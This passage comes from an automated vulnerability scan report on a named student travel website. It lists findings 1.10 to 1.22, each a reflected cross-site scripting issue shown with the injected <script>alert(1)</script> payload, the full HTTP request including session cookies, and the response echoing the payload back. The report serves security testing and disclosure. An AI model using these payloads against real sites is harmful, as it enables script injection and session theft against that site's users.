User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:52 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 22:00:51 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 129

The requested resource (/Build7.6.3.2_20/javascript/dynamic/facebox.jsfae68<script>alert(1)</script>25dd993fd27) is not available

1.10. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/main.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/dynamic/main.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 7986e<script>alert(1)</script>e3e53080680 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/dynamic7986e<script>alert(1)</script>e3e53080680/main.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:41 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:41 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:40 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 110

The requested resource (/javascript/dynamic7986e<script>alert(1)</script>e3e53080680/main.js) is not available

1.11. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/main.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/dynamic/main.js

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 195ed<script>alert(1)</script>6ac9d4442a7 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/dynamic/main.js195ed<script>alert(1)</script>6ac9d4442a7 HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:41 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 22:00:40 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 126

The requested resource (/Build7.6.3.2_20/javascript/dynamic/main.js195ed<script>alert(1)</script>6ac9d4442a7) is not available

1.12. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/main2.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/dynamic/main2.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 275fa<script>alert(1)</script>90356b5634e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/dynamic275fa<script>alert(1)</script>90356b5634e/main2.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:41 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:41 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:40 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 111

The requested resource (/javascript/dynamic275fa<script>alert(1)</script>90356b5634e/main2.js) is not available

1.13. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/main2.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/dynamic/main2.js

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 22a49<script>alert(1)</script>cbf1668edf4 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/dynamic/main2.js22a49<script>alert(1)</script>cbf1668edf4 HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:41 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 22:00:40 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 127

The requested resource (/Build7.6.3.2_20/javascript/dynamic/main2.js22a49<script>alert(1)</script>cbf1668edf4) is not available

1.14. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/main3.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/dynamic/main3.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload be4f8<script>alert(1)</script>31ee5a1e345 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/dynamicbe4f8<script>alert(1)</script>31ee5a1e345/main3.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:43 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:43 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:43 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 111

The requested resource (/javascript/dynamicbe4f8<script>alert(1)</script>31ee5a1e345/main3.js) is not available

1.15. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/main3.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/dynamic/main3.js

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload c67be<script>alert(1)</script>18df1c05ddf was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/dynamic/main3.jsc67be<script>alert(1)</script>18df1c05ddf HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:44 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 22:00:44 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 127

The requested resource (/Build7.6.3.2_20/javascript/dynamic/main3.jsc67be<script>alert(1)</script>18df1c05ddf) is not available

1.16. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/main4.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/dynamic/main4.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 7d716<script>alert(1)</script>da89ca93946 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/dynamic7d716<script>alert(1)</script>da89ca93946/main4.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:45 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:45 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:45 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 111

The requested resource (/javascript/dynamic7d716<script>alert(1)</script>da89ca93946/main4.js) is not available

1.17. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/dynamic/main4.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/dynamic/main4.js

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 1af05<script>alert(1)</script>033bb08624e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/dynamic/main4.js1af05<script>alert(1)</script>033bb08624e HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:46 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 22:00:45 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 127

The requested resource (/Build7.6.3.2_20/javascript/dynamic/main4.js1af05<script>alert(1)</script>033bb08624e) is not available

1.18. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jScrollPane.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jScrollPane/jScrollPane.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload eccc4<script>alert(1)</script>36b2926b510 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20eccc4<script>alert(1)</script>36b2926b510/javascript/jScrollPane/jScrollPane.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:43 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:43 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:43 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 202

The requested resource (/Build7.6.3.2_20eccc4<script>alert(1)</script>36b2926b510/javascript/jScrollPane/eccc4<script>alert(1)</script>36b2926b510/javascript/jScrollPane/jScrollPane.js) is not availab
...[SNIP]...

1.19. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jScrollPane.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jScrollPane/jScrollPane.js

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c3bb2<script>alert(1)</script>f53d0bd90eb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascriptc3bb2<script>alert(1)</script>f53d0bd90eb/jScrollPane/jScrollPane.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:44 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:44 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:44 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 121

The requested resource (/javascriptc3bb2<script>alert(1)</script>f53d0bd90eb/jScrollPane/jScrollPane.js) is not available

1.20. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jScrollPane.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jScrollPane/jScrollPane.js

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload adb4e<script>alert(1)</script>9e5431dc653 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/jScrollPaneadb4e<script>alert(1)</script>9e5431dc653/jScrollPane.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:45 GMT; Path=/
Cache-Control: Public
Expires: Sat, 13 Nov 2010 22:15:45 GMT
Content-Type: text/javascript;charset=ISO-8859-1
Date: Sat, 13 Nov 2010 22:00:45 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 121

The requested resource (/javascript/jScrollPaneadb4e<script>alert(1)</script>9e5431dc653/jScrollPane.js) is not available

1.21. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jScrollPane.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jScrollPane/jScrollPane.js

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 710ef<script>alert(1)</script>44b4477bde7 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20/javascript/jScrollPane/jScrollPane.js710ef<script>alert(1)</script>44b4477bde7 HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
Referer: http://www.studentuniverse.com/includes/airsearchWait.jsp?urlSearch=true&tripType=2&outboundAirport=HOU&outboundMonth=10&outboundDay=25&inboundAirport=LAX&inboundMonth=10&inboundDay=29&cobrandCode=kayak&utm_source=sponsored%20links&utm_medium=partner&utm_campaign=kayak&utm_content=HOULAX
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=D908FC9041321ED5C843E95052313D40; ClientID=D908FC.14926; cobrand=29841991; Coyote-2-c0a83399=c0a83c1b:0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.2 (build: CVSTag=JBoss_4_0_2 date=200505022023)/Tomcat-5.5
Set-Cookie: cobrand=29841991; Domain=.studentuniverse.com; Expires=Mon, 13-Dec-2010 22:00:46 GMT; Path=/
Pragma: No-cache
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html;charset=UTF-8
Content-Language: en
Date: Sat, 13 Nov 2010 22:00:45 GMT
Set-Cookie: Coyote-2-c0a83399=c0a83c1b:0; path=/
Vary: Accept-Encoding
Content-Length: 137

The requested resource (/Build7.6.3.2_20/javascript/jScrollPane/jScrollPane.js710ef<script>alert(1)</script>44b4477bde7) is not available

1.22. http://www.studentuniverse.com/Build7.6.3.2_20/javascript/jScrollPane/jquery.em.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.studentuniverse.com
Path:   /Build7.6.3.2_20/javascript/jScrollPane/jquery.em.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f0ba1<script>alert(1)</script>af1a3f3bbef was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Build7.6.3.2_20f0ba1<script>alert(1)</script>af1a3f3bbef/javascript/jScrollPane/jquery.em.js HTTP/1.1
Host: www.studentuniverse.com
Proxy-Connection: keep-alive
